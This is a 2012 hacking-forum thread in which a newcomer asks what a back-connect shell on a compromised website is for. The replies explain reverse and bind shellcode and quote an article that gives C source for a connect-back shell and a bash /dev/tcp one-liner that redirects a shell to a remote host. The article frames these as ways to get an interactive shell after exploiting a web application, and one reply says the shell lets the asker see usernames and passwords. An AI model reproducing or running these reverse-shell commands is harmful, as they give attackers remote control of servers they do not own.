

Forum:[Hack Forums](#)

Thread: [FREE 20 LR cents to the first one who answer my questions](#)

crossera - October 30, 2012, 1:06 pm

So the first one who answer this question wins 20 cents via LR :

What's the point of back connect on shell ?

What that mean i can get connected to that shell everytime :?

Do i have any privileges seeing username,passwords .. can't i see them while I'm on my shell uploaded to the website ..

So gl guys .. Sorry for newbie questions.. but i really don't understand it

bozon - October 30, 2012, 1:36 pm

fish tacos! do I win? you didn't say we have to answer correctly lol.

jk, here is my answer

Remote shellcode is used when an attacker wants to target a vulnerable process running on another machine on a local network or intranet. If successfully executed, the shellcode can provide the attacker access to the target machine across the network. Remote shellcodes normally use standard TCP/IP socket connections to allow the attacker access to the shell on the target machine. Such shellcode can be categorised based on how this connection is set up: if the shellcode can establish this connection, it is called a "reverse shell" or a connect-back shellcode because the shellcode connects back to the attacker's machine. On the other hand, if the attacker needs to create the connection, the shellcode is called a bindshell because the shellcode binds to a certain port on which the attacker can connect to control it. A third type, much less common, is socket-reuse shellcode. This type of shellcode is sometimes used when an exploit establishes a connection to the vulnerable process that is not closed before the shellcode is run. The shellcode can then re-use this connection to communicate with the attacker. Socket re-using shellcode is harder to create because the shellcode needs to find out which connection to re-use and the machine may have many connections open

I found that online. if you still need help understanding I will try to explain better.

Snowrey - October 30, 2012, 1:39 pm

1 - Answer ([Click to View](#))

Quote:In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It's that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don't have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:

```
int main (int c, char **v) {  
    char *ex[4];  
    struct sockaddr_in s4;  
    int s;
```

```

s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4, sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
ex[0]="/bin/sh";
ex[1]="sh";
ex[2]=NULL;
execve(ex[0], &ex[1], NULL);
}

```

That's all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.

Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the `/dev/tcp` and `/dev/udp` bashisms. These aren't actual devices but instead filenames which are handled internally in bash.

From bash 3.2:

```

redir.c:
static STRING_INT_ALIST _redir_special_filenames[] = {
...
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
...
case RF_DEVTCP:
case RF_DEVUDP:
...
fd = netopen (filename);

```

```

netopen.c:
netopen (path) char *path; {
...
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <-- Opps, NULL ptr deref
s = np + 9;
t = strchr (s, '/');
...
*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);

```

This goes on to open a socket to the provided address and port making our format something like `'/dev/tcp/hostname/port'`.

So can this be used to implement a connect back shell? Let's break down the C code we have been using line by line.

First we open a file descriptor to a remote system on a given port. Great, thats exactly what `/dev/tcp` and `/dev/udp` do.

Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The 'exec' command is generally used to replace the bash process with another (ie. `sys_execve()`, sounds interesting for later on). One of the other interesting things about 'exec' is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate `dup2()` using only bash built-ins by doing the following:

```
$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin
```

```
$ exec 1>&0 # Next we copy stdin to stdout
```

```
$ exec 2>&0 # And finally stdin to stderr
```

Now all we have left to do is `execve() /bin/sh` and 'exec' can also take care of that for us. So to bring this all together we get the following command:

```
$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
```

We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.

There is one caveat to all this. The `/dev/tcp` and `/dev/udp` redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.

You really got bad EN for second one, but try this site:

2 - <https://github.com/capistrano/capistrano/wiki/2.x-Getting-Started>

3 - Yes, ofcourse you can!